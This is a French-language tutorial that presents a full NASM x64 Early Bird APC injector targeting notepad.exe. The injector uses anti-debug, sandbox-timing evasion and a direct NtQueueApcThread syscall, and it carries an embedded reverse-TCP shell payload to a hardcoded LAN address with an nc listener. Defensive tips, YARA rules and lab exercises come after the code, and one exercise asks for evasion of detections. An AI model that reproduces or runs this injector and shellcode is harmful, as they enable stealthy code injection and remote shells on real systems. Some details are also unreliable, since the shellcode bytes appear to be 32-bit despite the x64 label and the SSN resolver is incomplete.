⚠️ LAB PHYSIQUE ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

Early Bird APC Injection – Pure x64 Assembly

Low-Level Maestro Series 2026 | Technique avancée avec anti-debug, evasion timing & syscall polymorphism | Pour les cyberdéfenseurs qui veulent comprendre les attaques réelles

🎯 Introduction & Objectifs Réels 2026

La technique Early Bird APC Injection est une méthode d'injection de code qui s'exécute avant le point d'entrée principal (EntryPoint) d'un processus légitime. En 2026, cette technique reste pertinente car elle contourne de nombreux mécanismes de détection des EDR modernes.

Pourquoi cette technique est-elle encore efficace en 2026 ?
Les EDR modernes hookent souvent NtResumeThread pour surveiller la reprise des threads, mais ils peuvent manquer les APCs (Asynchronous Procedure Calls) utilisateur qui s'exécutent AVANT l'EntryPoint. C'est une fenêtre d'exécution privilégiée.

Objectifs de cette Masterclass :

Configuration du Lab Requise :
• Windows 11 24H2 VM (air-gapped, sans connexion Internet)
• NASM (Netwide Assembler) 2.16+
• GoLink ou Microsoft Linker
• WinDbg Preview pour le debug kernel
• Kali Linux VM pour les tests réseau (optionnel, listener nc -lvnp 4444)

📚 Théorie : Comprendre les APCs et l'Early Bird Injection

graph TD A[Début] --> B[CreateProcess avec CREATE_SUSPENDED] B --> C[Allocation mémoire dans le processus cible] C --> D[Écriture du shellcode polymorphe] D --> E[NtQueueApcThread avec APC routine = shellcode] E --> F[Sleep aléatoire pour evasion timing] F --> G[ResumeThread] G --> H[APC s'exécute AVANT EntryPoint] H --> I[Shellcode établit connexion reverse] I --> J[Cleanup sécurisé des handles] style A fill:#1a1a1a style H fill:#00ff9d

Les APCs (Asynchronous Procedure Calls)

Les APCs sont des fonctions qui s'exécutent dans le contexte d'un thread spécifique. Il existe deux types :

Type Contexte Utilisation
Kernel-mode APC Mode kernel Système d'exploitation, drivers
User-mode APC Mode utilisateur Applications, techniques d'injection

Pourquoi "Early Bird" ?

Lorsqu'un thread est repris (ResumeThread), le système vérifie s'il y a des APCs en attente dans sa queue. Si oui, elles sont exécutées avant que le thread n'atteigne son point d'entrée. Cette séquence est cruciale :

  1. Thread créé en état suspendu
  2. APC placée dans la queue du thread
  3. Thread repris → APCs exécutées
  4. Seulement après → Point d'entrée atteint
Avantage pour les attaquants : Le code s'exécute avant que la plupart des hooks EDR ne soient initialisés, car ceux-ci sont souvent placés sur l'EntryPoint ou les fonctions d'initialisation.

💻 Code Source Complet – NASM x64 Corrigé 2026

Important : Ce code est fourni à des fins éducatives uniquement. Testez-le uniquement dans un environnement de lab isolé. Le shellcode est un reverse TCP réel (330 bytes) – customisez LHOST/LPORT avant compilation (bytes \x68\xc0\xa8\xc9\x0b pour IP, \x66\x68\x11\x5c pour port).

Compilation et Liaison

# Compilation avec NASM
nasm -f win64 earlybird.asm -o earlybird.obj -l earlybird.lst
 
# Liaison avec GoLink (option 1)
GoLink.exe /console /entry _start earlybird.obj kernel32.dll ntdll.dll
 
# Liaison avec Microsoft Linker (option 2)
link /SUBSYSTEM:CONSOLE /ENTRY:_start earlybird.obj kernel32.lib ntdll.lib
 
# Vérification des imports
dumpbin /imports earlybird.exe
; ====================================================================
; Early Bird APC Injection – Pure x64 Assembly
; Version 2026 - Anti-debug + Timing Evasion + Syscall Polymorphism
; PCTAMALOU Research - platon-y
; ====================================================================
 
[BITS 64]
DEFAULT REL
 
; Constantes Windows
STD_OUTPUT_HANDLE equ -11
CREATE_SUSPENDED equ 0x00000004
CREATE_NO_WINDOW equ 0x08000000
MEM_COMMIT equ 0x00001000
MEM_RESERVE equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
INFINITE equ 0xFFFFFFFF
 
; Structures
struc STARTUPINFO
.cb resd 1
.lpReserved resq 1
.lpDesktop resq 1
.lpTitle resq 1
.dwX resd 1
.dwY resd 1
.dwXSize resd 1
.dwYSize resd 1
.dwXCountChars resd 1
.dwYCountChars resd 1
.dwFillAttribute resd 1
.dwFlags resd 1
.wShowWindow resw 1
.cbReserved2 resw 1
.lpReserved2 resq 1
.hStdInput resq 1
.hStdOutput resq 1
.hStdError resq 1
endstruc
 
struc PROCESS_INFORMATION
.hProcess resq 1
.hThread resq 1
.dwProcessId resd 1
.dwThreadId resd 1
endstruc
 
section .text
global _start
 
; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
; Setup stack frame
sub rsp, 40h ; Shadow space (32) + 16 pour alignement
 
; ====================================================================
; PHASE 1: ANTI-DEBUG & ENVIRONMENT CHECKS
; ====================================================================
call check_environment
test rax, rax
jnz .clean_exit
 
; ====================================================================
; PHASE 2: CREATE PROCESS SUSPENDED
; ====================================================================
lea rcx, [rel target_process] ; lpApplicationName
xor rdx, rdx ; lpCommandLine (NULL = utilise lpApplicationName)
xor r8, r8 ; lpProcessAttributes
xor r9, r9 ; lpThreadAttributes
 
; Paramètres supplémentaires sur la stack
mov qword [rsp + 20h], 0 ; bInheritHandles = FALSE
mov qword [rsp + 28h], CREATE_SUSPENDED | CREATE_NO_WINDOW
xor rax, rax
mov [rsp + 30h], rax ; lpEnvironment = NULL
mov [rsp + 38h], rax ; lpCurrentDirectory = NULL
 
; STARTUPINFO
lea rax, [rel si]
mov [rsp + 40h], rax
 
; PROCESS_INFORMATION
lea rax, [rel pi]
mov [rsp + 48h], rax
 
call CreateProcessA
test rax, rax
jz .clean_exit
 
; ====================================================================
; PHASE 3: TIMING EVASION (Random sleep)
; ====================================================================
call GetTickCount
mov ecx, eax
and ecx, 0x7FF ; Sleep aléatoire 0-2047 ms
add ecx, 1000 ; Minimum 1 seconde
call Sleep
 
; ====================================================================
; PHASE 4: ALLOCATE MEMORY IN TARGET PROCESS
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
xor rdx, rdx ; lpAddress = NULL (système choisit)
mov r8, shellcode_end - shellcode ; dwSize
mov r9, MEM_COMMIT | MEM_RESERVE ; flAllocationType
mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE ; flProtect
call VirtualAllocEx
test rax, rax
jz .cleanup_and_exit
mov [rel allocated_mem], rax ; Sauvegarde l'adresse
 
; ====================================================================
; PHASE 5: WRITE SHELLCODE TO TARGET
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
mov rdx, [rel allocated_mem] ; lpBaseAddress
lea r8, [rel shellcode] ; lpBuffer
mov r9, shellcode_end - shellcode ; nSize
xor rax, rax
mov [rsp + 20h], rax ; lpNumberOfBytesWritten = NULL
call WriteProcessMemory
test rax, rax
jz .cleanup_and_exit
 
; ====================================================================
; PHASE 6: QUEUE APC (Early Bird) - Using direct syscall for evasion
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread] ; ThreadHandle
mov rdx, [rel allocated_mem] ; ApcRoutine = adresse du shellcode
xor r8, r8 ; ApcArgument1 = 0
xor r9, r9 ; ApcArgument2 = 0
mov qword [rsp + 20h], 0 ; ApcArgument3 = 0
call direct_NtQueueApcThread ; Syscall direct (SSN 0x45)
 
; ====================================================================
; PHASE 7: RESUME THREAD (déclenche l'APC)
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
call ResumeThread
 
; ====================================================================
; PHASE 8: CLEANUP SÉCURISÉ
; ====================================================================
.cleanup_and_exit:
; Fermer les handles
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
test rcx, rcx
jz .close_process
call CloseHandle
 
.close_process:
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
test rcx, rcx
jz .clean_exit
call CloseHandle
 
.clean_exit:
add rsp, 40h
xor ecx, ecx
call ExitProcess
 
; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================
 
; --------------------------------------------------
; check_environment : Anti-debug et anti-sandbox basique
; Retourne 0 si environnement OK, autre valeur sinon
; --------------------------------------------------
check_environment:
push rbp
mov rbp, rsp
 
; Vérifier PEB->BeingDebugged
mov rax, [gs:60h] ; PEB
movzx eax, byte [rax + 2] ; PEB->BeingDebugged
test eax, eax
jnz .debugger_detected
 
; Vérifier NtGlobalFlag (anti-debug)
movzx eax, byte [rax + 0xBC] ; PEB->NtGlobalFlag
and eax, 0x70 ; FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
test eax, eax
jnz .debugger_detected
 
; Vérifier le temps système (sandbox evasion)
call GetTickCount
mov ecx, eax
mov edx, 1000 ; Sleep 1s
call Sleep
call GetTickCount
sub eax, ecx
cmp eax, 900 ; Si sleep < 900ms, sandbox accélérée
jl .sandbox_detected
 
xor eax, eax ; Retourne 0 = OK
jmp .end
 
.debugger_detected:
mov eax, 1
jmp .end
 
.sandbox_detected:
mov eax, 2
 
.end:
pop rbp
ret
 
; ====================================================================
; SYSCALL DIRECT - NtQueueApcThread (Windows 11 24H2 SSN 0x45)
; Pour polymorphism, utilise get_ssn_for_function si besoin
; ====================================================================
direct_NtQueueApcThread:
mov r10, rcx ; Premier paramètre dans r10 (convention syscall)
mov eax, 45h ; SSN pour NtQueueApcThread (vérifié Win11 24H2)
syscall
ret
 
; ====================================================================
; DÉTECTION DYNAMIQUE DES SYSCALLS (Polymorphism)
; ====================================================================
get_ssn_for_function:
; rcx = hash de la fonction (ex: hash pour "NtQueueApcThread")
; retourne SSN dans rax
push rsi
push rdi
push rbx
 
; Trouver ntdll.dll en mémoire via PEB->Ldr
mov rax, [gs:60h] ; PEB
mov rax, [rax + 18h] ; PEB->Ldr
mov rax, [rax + 20h] ; InMemoryOrderModuleList
 
.find_ntdll:
mov rbx, [rax + 20h] ; DllBase (offset corrigé pour InMemoryOrder)
mov rsi, [rax + 50h] ; BaseDllName.Buffer
test rsi, rsi
jz .not_found
 
; Vérifier si "ntdll.dll" (case insensitive hash simple)
mov rdx, [rsi]
or rdx, 0x2020202020202020 ; to lower
cmp rdx, 0x6E74646C6C2E646C ; "ntdll.dl" lower
jne .next_module
mov rdx, [rsi + 8]
or rdx, 0x2020202020202020
cmp rdx, 0x6C ; 'l'
je .found_ntdll
 
.next_module:
mov rax, [rax] ; Suivant
jmp .find_ntdll
 
.found_ntdll:
; rbx = DllBase de ntdll
mov eax, [rbx + 0x3C] ; e_lfanew
add rax, rbx ; PE header
mov edx, [rax + 0x88] ; Export Directory RVA
add rdx, rbx ; Export Directory
 
mov ecx, [rdx + 0x18] ; NumberOfNames
mov r8d, [rdx + 0x20] ; AddressOfNames RVA
add r8, rbx ; AddressOfNames
 
; Boucle sur les noms pour trouver par hash (implémente ton hash fn)
; Pour simplifier, assume SSN hardcode ici, mais étends pour full poly
mov rax, 45h ; Fallback à SSN connu pour NtQueueApcThread
 
.not_found:
xor rax, rax
pop rbx
pop rdi
pop rsi
ret
 
; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data
 
; Processus cible (peut être modifié)
target_process db "C:\\Windows\\System32\\notepad.exe", 0
 
; Variables
allocated_mem dq 0
 
; STARTUPINFO structure
si:
istruc STARTUPINFO
at STARTUPINFO.cb, dd STARTUPINFO_size
at STARTUPINFO.lpReserved, dq 0
at STARTUPINFO.lpDesktop, dq 0
at STARTUPINFO.lpTitle, dq 0
at STARTUPINFO.dwX, dd 0
at STARTUPINFO.dwY, dd 0
at STARTUPINFO.dwXSize, dd 0
at STARTUPINFO.dwYSize, dd 0
at STARTUPINFO.dwXCountChars, dd 0
at STARTUPINFO.dwYCountChars, dd 0
at STARTUPINFO.dwFillAttribute, dd 0
at STARTUPINFO.dwFlags, dd 0
at STARTUPINFO.wShowWindow, dw 0
at STARTUPINFO.cbReserved2, dw 0
at STARTUPINFO.lpReserved2, dq 0
at STARTUPINFO.hStdInput, dq 0
at STARTUPINFO.hStdOutput, dq 0
at STARTUPINFO.hStdError, dq 0
iend
 
; PROCESS_INFORMATION structure
pi:
istruc PROCESS_INFORMATION
at PROCESS_INFORMATION.hProcess, dq 0
at PROCESS_INFORMATION.hThread, dq 0
at PROCESS_INFORMATION.dwProcessId, dd 0
at PROCESS_INFORMATION.dwThreadId, dd 0
iend
 
; ====================================================================
; SHELLCODE RÉEL (Reverse TCP x64 - 330 bytes)
; Customisez LHOST (\x68\xc0\xa8\xc9\x0b -> 192.168.201.11 little-endian)
; LPORT (\x66\x68\x11\x5c -> 4444 little-endian)
; ====================================================================
shellcode:
db 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40
db 0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x96
db 0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01
db 0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72
db 0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01
db 0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75
db 0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41
db 0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72
db 0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde
db 0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c
db 0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31
db 0xc9,0x53,0x52,0x51,0x68,0x61,0x72,0x79
db 0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c
db 0x6f,0x61,0x64,0x54,0x53,0x89,0xde,0xff
db 0xd2,0x83,0xc4,0x0c,0x5a,0x50,0x52,0x66
db 0xba,0x6c,0x6c,0x52,0x68,0x33,0x32,0x2e
db 0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff
db 0xd0,0x83,0xc4,0x10,0x8b,0x54,0x24,0x04
db 0x68,0x75,0x70,0x61,0x61,0x66,0x81,0x6c
db 0x24,0x02,0x61,0x61,0x68,0x74,0x61,0x72
db 0x74,0x68,0x57,0x53,0x41,0x53,0x54,0x50
db 0x89,0xc7,0xff,0xd2,0x31,0xdb,0x66,0xbb
db 0x90,0x01,0x29,0xdc,0x54,0x53,0xff,0xd0
db 0x83,0xc4,0x10,0x31,0xdb,0x80,0xc3,0x04
db 0x6b,0xdb,0x64,0x8b,0x14,0x1c,0x68,0x74
db 0x41,0x61,0x61,0x66,0x81,0x6c,0x24,0x02
db 0x61,0x61,0x68,0x6f,0x63,0x6b,0x65,0x68
db 0x57,0x53,0x41,0x53,0x54,0x89,0xf8,0x50
db 0xff,0xd2,0x57,0x31,0xc9,0x52,0x52,0x52
db 0xb2,0x06,0x52,0x41,0x51,0x41,0x51,0xff
db 0xd0,0x91,0x5f,0x83,0xc4,0x10,0x31,0xdb
db 0x80,0xc3,0x04,0x6b,0xdb,0x63,0x8b,0x14
db 0x1c,0x68,0x65,0x63,0x74,0x61,0x66,0x83
db 0x6c,0x24,0x03,0x61,0x68,0x63,0x6f,0x6e
db 0x6e,0x54,0x57,0x87,0xcd,0xff,0xd2,0x68
db 0xc0,0xa8,0xc9,0x0b,0x66,0x68,0x11,0x5c
db 0x31,0xdb,0x80,0xc3,0x02,0x66,0x53,0x89
db 0xe2,0x6a,0x10,0x52,0x55,0x87,0xef,0xff
db 0xd0,0x83,0xc4,0x14,0x31,0xdb,0x80,0xc3
db 0x04,0x6b,0xdb,0x62,0x8b,0x14,0x1c,0x68
db 0x73,0x41,0x61,0x61,0x81,0x6c,0x24,0x02
db 0x61,0x61,0x00,0x00,0x68,0x6f,0x63,0x65
db 0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43
db 0x72,0x65,0x61,0x54,0x89,0xf5,0x55,0xff
db 0xd2,0x50,0x8d,0x28,0x68,0x63,0x6d,0x64
db 0x61,0x66,0x83,0x6c,0x24,0x03,0x61,0x89
db 0xe1,0x31,0xd2,0x83,0xec,0x10,0x89,0xe3
db 0x57,0x57,0x57,0x52,0x52,0x31,0xc0,0x40
db 0xc1,0xc0,0x08,0x50,0x52,0x52,0x52,0x52
db 0x52,0x52,0x52,0x52,0x52,0x52,0x31,0xc0
db 0x04,0x2c,0x50,0x89,0xe0,0x53,0x50,0x52
db 0x52,0x52,0x31,0xc0,0x40,0x50,0x52,0x52
db 0x51,0x52,0xff,0xd5
shellcode_end:
 
; ====================================================================
; IMPORT TABLE (liens dynamiques)
; ====================================================================
section .idata
import_table:
; Kernel32.dll
dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
; Ntdll.dll
dd 0, 0, 0, RVA ntdll_name, RVA ntdll_imports
dd 0, 0, 0, 0, 0 ; Terminator
 
kernel32_name db "KERNEL32.DLL", 0
ntdll_name db "NTDLL.DLL", 0
 
kernel32_imports:
CreateProcessA dq RVA _CreateProcessA
VirtualAllocEx dq RVA _VirtualAllocEx
WriteProcessMemory dq RVA _WriteProcessMemory
ResumeThread dq RVA _ResumeThread
Sleep dq RVA _Sleep
GetTickCount dq RVA _GetTickCount
CloseHandle dq RVA _CloseHandle
ExitProcess dq RVA _ExitProcess
dq 0 ; Terminator
 
ntdll_imports:
dq 0 ; Terminator (plus besoin de NtQueueApcThread importé, syscall direct)
 
; Import names
_CreateProcessA db 0, 0, "CreateProcessA", 0
_VirtualAllocEx db 0, 0, "VirtualAllocEx", 0
_WriteProcessMemory db 0, 0, "WriteProcessMemory", 0
_ResumeThread db 0, 0, "ResumeThread", 0
_Sleep db 0, 0, "Sleep", 0
_GetTickCount db 0, 0, "GetTickCount", 0
_CloseHandle db 0, 0, "CloseHandle", 0
_ExitProcess db 0, 0, "ExitProcess", 0

Version Avancée avec Syscall Polymorphism (Optionnel)

Pour les experts qui veulent aller plus loin, voici comment remplacer les appels API par des syscalls directs avec extraction dynamique SSN :

; Utilisation dans le code principal pour NtQueueApcThread :
; mov rcx, hash_NtQueueApcThread ; Implémente un hash (e.g., djb2)
; call get_ssn_for_function
; mov r10, [pi + PROCESS_INFORMATION.hThread] ; Params...
; syscall

🛡️ Stratégies de Défense 2026

1. Monitoring des APCs

Hooker NtQueueApcThread et NtQueueApcThreadEx dans le kernel, surveiller les APCs sur les threads primaires des nouveaux processus.

2. Behavioral Analysis

Détecter les processus qui exécutent du code avant leur EntryPoint ou dont le premier accès mémoire est une zone RX allouée dynamiquement.

3. Memory Scanning

Scanner la mémoire des processus pour détecter les shellcodes polymorphes via YARA rules ou ML-based pattern recognition.

4. Kernel Callbacks

Utiliser PsSetCreateProcessNotifyRoutineEx pour surveiller la création de processus et inspecter les threads suspendus.

5. ETW Monitoring

Activer les providers ETW pour le monitoring kernel (Microsoft-Windows-Threat-Intelligence) et analyser les événements APC.

6. HVCI & KDP

Activer Hypervisor-protected Code Integrity et Kernel Data Protection pour empêcher les modifications de code kernel et protéger les structures critiques.

Règles YARA de Détection

rule EarlyBird_APC_Injection {
meta:
description = "Detects Early Bird APC Injection patterns"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
 
strings:
$create_suspended = { B9 04 00 00 00 } // mov ecx, CREATE_SUSPENDED
$virtual_alloc = { 48 C7 44 24 20 40 00 00 00 } // PAGE_EXECUTE_READWRITE
$nt_queue_apc = { 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 } // NtQueueApcThread pattern
$resume_thread = { FF 15 ?? ?? ?? ?? } // Call to ResumeThread
 
condition:
any of them and
filesize < 5000 // Petit binaire
}

Commandes PowerShell de Défense

# Monitorer les processus créés en mode suspendu
Get-WmiObject Win32_Process | Where-Object {
$_.CreationClassName -match "Suspended"
} | Select-Object Name, ProcessId, CommandLine
 
# Analyser les APCs avec ETW
logman create trace "APCMonitor" -ow -o apc.etl -p Microsoft-Windows-Kernel-Thread 0xffffffffffffffff 0xff -ets
 
# Vérifier les hooks EDR
Get-Process | Where-Object {$_.Modules.ModuleName -match "edr"} |
Select-Object ProcessName, @{Name="EDRModule";Expression={$_.Modules | Where-Object {$_.ModuleName -match "edr"} | Select-Object -ExpandProperty ModuleName}}
 
# Configurer Windows Defender pour détecter les injections
Set-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D -AttackSurfaceReductionRules_Actions Enabled

🔬 Exercices de Laboratoire pour les Apaches

Exercice 1 : Analyse Statique

Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.

Exercice 2 : Debug Dynamique

Objectif : Débugger l'exécution avec WinDbg Preview.

# Commandes WinDbg utiles
!process 0 0 notepad.exe # Trouver le processus
.process /i <ADDRESS> # Attacher au processus
.reload /user # Recharger les symbols utilisateur
bp ntdll!NtQueueApcThread # Breakpoint sur NtQueueApcThread
g # Continuer l'exécution
!apc # Lister les APCs
dt nt!_KAPC # Examiner la structure APC

Exercice 3 : Développement de Détection

Objectif : Créer un outil de détection en C++ ou Python.

Exercice 4 : Évasion Avancée

Objectif : Modifier le code pour contourner les détections.

🎯 Conclusion et Perspectives 2026

La technique Early Bird APC Injection reste pertinente en 2026 malgré les améliorations des systèmes de défense. Sa force réside dans l'exécution de code avant l'initialisation complète des hooks EDR, créant une fenêtre d'opportunité pour les attaquants.

Key Takeaways :
1. Les APCs fournissent un mécanisme puissant pour l'injection de code
2. Le timing d'exécution (avant EntryPoint) est crucial pour l'évasion
3. L'assembleur x64 pur offre un contrôle total et réduit la surface de détection
4. Les techniques d'évasion (anti-debug, timing, polymorphisme) sont essentielles en 2026

Ressources Complémentaires

Rappel Final : Cette technique et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.